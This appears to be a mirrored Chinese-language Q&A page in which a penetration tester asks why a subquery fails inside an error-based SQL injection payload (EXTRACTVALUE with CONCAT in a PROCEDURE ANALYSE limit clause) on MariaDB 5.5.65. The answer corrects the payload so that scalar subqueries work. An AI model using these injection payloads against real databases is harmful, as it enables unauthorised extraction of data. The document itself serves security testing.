【问题标题】:MariaDB 5.5.65 sql injectionMariaDB 5.5.65 sql 注入
【发布时间】:2021-05-05 11:55:39
【问题描述】:

我是 pentester,我正在我的 MariaDB 5.5.65 服务器上的 limit 子句中测试基于错误的 sql 注入。有点麻烦。

MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,select '123',0x7178627171)),1);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'select '123',0x7178627171)),1)' at line 1
MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,'123',0x7178627171)),1);
ERROR 1105 (HY000): XPATH syntax error: '\qjjkq123qxbqq'
MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,database(),0x7178627171)),1);
ERROR 1105 (HY000): XPATH syntax error: '\qjjkqinformation_schemaqxbqq'

我可以检索诸如 database() 和 version() 之类的信息,但不能使用 select。这是 MariaDB 的功能吗?我可以绕过这个还是不可能在 MariaDB 服务器的过程分析中使用 select?

【问题讨论】:

  • 作为测试 SQL 注入的人,您需要了解函数上下文和过程上下文之间的区别......您不能只是将过程语句塞进只有表达式(包括函数调用)可用的地方。
  • mysql 根本没有procedure 子句,因此您的问题不适用于mysql。
  • @Shadow: dev.mysql.com/doc/refman/5.6/en/procedure-analyse.html 但是它在 5.7 中已被弃用并在 8.0 中被删除。 MariaDB 5.5 已经过时,所以它仍然存在。

标签: sql mariadb sql-injection procedure


【解决方案1】:

如果你想使用 select 在表达式中返回一个标量值,你必须把它放在括号中,使它成为一个标量子查询:

EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,select '123',0x7178627171))

应该是:

EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,(select '123'),0x7178627171))

在此示例中,这仍会导致 XPATH 错误,但这与您提出的问题无关。

【讨论】:

    猜你喜欢
    • 2019-07-15
    • 2016-10-19
    • 1970-01-01
    • 1970-01-01
    • 2021-11-03
    • 1970-01-01
    • 2021-06-06
    • 2020-11-19
    • 2021-12-28
    相关资源
    最近更新 更多